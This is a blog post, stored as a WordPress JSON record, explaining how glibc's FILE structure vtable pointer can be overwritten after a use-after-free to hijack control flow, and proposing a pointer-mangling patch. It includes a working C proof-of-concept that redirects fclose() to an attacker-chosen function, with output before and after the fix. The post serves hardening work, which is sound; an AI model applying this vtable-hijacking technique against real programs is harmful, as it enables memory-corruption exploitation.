{"id":548,"date":"2011-12-22T16:46:21","date_gmt":"2011-12-23T00:46:21","guid":{"rendered":"http:\/\/www.outflux.net\/blog\/?p=548"},"modified":"2022-01-14T11:32:42","modified_gmt":"2022-01-14T19:32:42","slug":"abusing-the-file-structure","status":"publish","type":"post","link":"https:\/\/outflux.net\/blog\/archives\/2011\/12\/22\/abusing-the-file-structure\/","title":{"rendered":"abusing the FILE structure"},"content":{"rendered":"<p>When attacking a process, one interesting target on the heap is the <code>FILE<\/code> structure used with &#8220;stream functions&#8221; (<code>fopen()<\/code>, <code>fread()<\/code>, <code>fclose()<\/code>, etc) in glibc. Most of the <a href=\"http:\/\/sourceware.org\/git\/?p=glibc.git;a=blob;f=libio\/libio.h;h=bebc112a3bffc800cddbbd885663c2b3a33c1324;hb=4f2b767fef50f5f5c356c0c0e424fccc893a4ae6#l273\"><code>FILE<\/code> structure (<code>struct _IO_FILE<\/code> internally)<\/a> is pointers to the various memory buffers used for the stream, flags, etc. What&#8217;s interesting is that this isn&#8217;t actually the entire structure. When a new <code>FILE<\/code> structure is allocated and its pointer returned from <code>fopen()<\/code>, glibc has actually allocated an internal structure called <code>struct _IO_FILE_plus<\/code>, which contains <code>struct _IO_FILE<\/code> and a pointer to <code>struct _IO_jump_t<\/code>, which in turn contains a list of pointers for all the functions attached to the <code>FILE<\/code>. This is its vtable, which, just like <a href=\"http:\/\/en.wikipedia.org\/wiki\/Virtual_method_table\">C++ vtables<\/a>, is used whenever any stream function is called with the <code>FILE<\/code>. So on the heap, we have:<\/p>\n<p><img decoding=\"async\" src=\"\/exploits\/glibc-FILE-vtable.png\" alt=\"glibc FILE vtable location\" \/><\/p>\n<p>In the face of <a href=\"https:\/\/www.owasp.org\/index.php\/Using_freed_memory\">use-after-free<\/a>, <a href=\"http:\/\/en.wikipedia.org\/wiki\/Heap_overflow\">heap overflows<\/a>, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in <a href=\"http:\/\/http:\/\/manpages.ubuntu.com\/setjmp\"><code>setjmp()<\/code>\/<code>longjmp()<\/code><\/a>, <a href=\"http:\/\/http:\/\/manpages.ubuntu.com\/atexit\"><code>atexit()<\/code><\/a>, etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced <a href=\"http:\/\/udrepper.livejournal.com\/13393.html\"><code>PTR_MANGLE<\/code>\/<code>PTR_DEMANGLE<\/code><\/a> to protect these latter functions, but until now hasn&#8217;t protected the FILE structure in the same way.<\/p>\n<p>I&#8217;m hoping to change this, and have <a href=\"http:\/\/cygwin.com\/ml\/libc-alpha\/2011-12\/msg00073.html\">introduced a patch<\/a> to use <code>PTR_MANGLE<\/code> on the vtable pointer. Hopefully I haven&#8217;t overlooked something, since I&#8217;d really like to see this get in. <code>FILE<\/code> structure usage is a fair bit more common than <code>setjmp()<\/code> and <code>atexit()<\/code> usage. :)<\/p>\n<p>Here&#8217;s a quick exploit demonstration in a trivial use-after-free scenario:<\/p>\n<pre class=\"brush:c\">\r\n#include &lt;stdio.h>\r\n#include &lt;stdlib.h>\r\n\r\nvoid pwn(void)\r\n{\r\n    printf(\"Dave, my mind is going.\\n\");\r\n    fflush(stdout);\r\n}\r\n\r\nvoid * funcs[] = {\r\n    NULL, \/\/ \"extra word\"\r\n    NULL, \/\/ DUMMY\r\n    exit, \/\/ finish\r\n    NULL, \/\/ overflow\r\n    NULL, \/\/ underflow\r\n    NULL, \/\/ uflow\r\n    NULL, \/\/ pbackfail\r\n    NULL, \/\/ xsputn\r\n    NULL, \/\/ xsgetn\r\n    NULL, \/\/ seekoff\r\n    NULL, \/\/ seekpos\r\n    NULL, \/\/ setbuf\r\n    NULL, \/\/ sync\r\n    NULL, \/\/ doallocate\r\n    NULL, \/\/ read\r\n    NULL, \/\/ write\r\n    NULL, \/\/ seek\r\n    pwn,  \/\/ close\r\n    NULL, \/\/ stat\r\n    NULL, \/\/ showmanyc\r\n    NULL, \/\/ imbue\r\n};\r\n\r\nint main(int argc, char * argv[])\r\n{   \r\n    FILE *fp;\r\n    unsigned char *str;\r\n\r\n    printf(\"sizeof(FILE): 0x%x\\n\", sizeof(FILE));\r\n\r\n    \/* Allocate and free enough for a FILE plus a pointer. *\/\r\n    str = malloc(sizeof(FILE) + sizeof(void *));\r\n    printf(\"freeing %p\\n\", str);\r\n    free(str);\r\n\r\n    \/* Open a file, observe it ended up at previous location. *\/\r\n    if (!(fp = fopen(\"\/dev\/null\", \"r\"))) {\r\n        perror(\"fopen\");\r\n        return 1;\r\n    }\r\n    printf(\"FILE got %p\\n\", fp);\r\n    printf(\"_IO_jump_t @ %p is 0x%08lx\\n\",\r\n           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));\r\n\r\n    \/* Overwrite vtable pointer. *\/\r\n    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;\r\n    printf(\"_IO_jump_t @ %p now 0x%08lx\\n\",\r\n           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));\r\n\r\n    \/* Trigger call to pwn(). *\/\r\n    fclose(fp);\r\n\r\n    return 0;\r\n}\r\n<\/pre>\n<p>Before the patch:<\/p>\n<pre class=\"brush:shell\">\r\n$ .\/mini\r\nsizeof(FILE): 0x94\r\nfreeing 0x9846008\r\nFILE got 0x9846008\r\n_IO_jump_t @ 0x984609c is 0xf7796aa0\r\n_IO_jump_t @ 0x984609c now 0x0804a060\r\nDave, my mind is going.\r\n<\/pre>\n<p>After the patch:<\/p>\n<pre class=\"brush:shell\">\r\n$ .\/mini\r\nsizeof(FILE): 0x94\r\nfreeing 0x9846008\r\nFILE got 0x9846008\r\n_IO_jump_t @ 0x984609c is 0x3a4125f8\r\n_IO_jump_t @ 0x984609c now 0x0804a060\r\nSegmentation fault\r\n<\/pre>\n<p>Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I&#8217;d like to see this fixed too, but it&#8217;ll require more time to study. :)<\/p>\n<p><strong>Update:<\/strong> This specific patch was never taken upstream, but five years later, some vtable validation was added: <a href=\"https:\/\/sourceware.org\/bugzilla\/show_bug.cgi?id=20191\">Bugzilla<\/a>, <a href=\"https:\/\/sourceware.org\/git\/?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\">Commit<\/a>.<\/p>\n<p style='text-align:left'>&copy; 2011 &#8211; 2022, <a href=\"https:\/\/outflux.net\/blog\/\">Kees Cook<\/a>. This work is licensed under a <a rel=\"license\" href=\"http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/\">Creative Commons Attribution-ShareAlike 4.0 License<\/a>.<br \/><a rel=\"license\" href=\"http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/\"><img decoding=\"async\" alt=\"CC BY-SA 4.0\" style=\"border-width:0\" src=\"https:\/\/i.creativecommons.org\/l\/by-sa\/4.0\/88x31.png\" \/><\/a> <\/p>\n","protected":false},"excerpt":{"rendered":"<p>When attacking a process, one interesting target on the heap is the FILE structure used with &#8220;stream functions&#8221; (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What&#8217;s interesting is that this isn&#8217;t actually the entire structure. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,18,6,14,19],"tags":[],"_links":{"self":[{"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/posts\/548"}],"collection":[{"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/comments?post=548"}],"version-history":[{"count":16,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/posts\/548\/revisions"}],"predecessor-version":[{"id":1565,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/posts\/548\/revisions\/1565"}],"wp:attachment":[{"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/media?parent=548"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/categories?post=548"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/outflux.net\/blog\/wp-json\/wp\/v2\/tags?post=548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}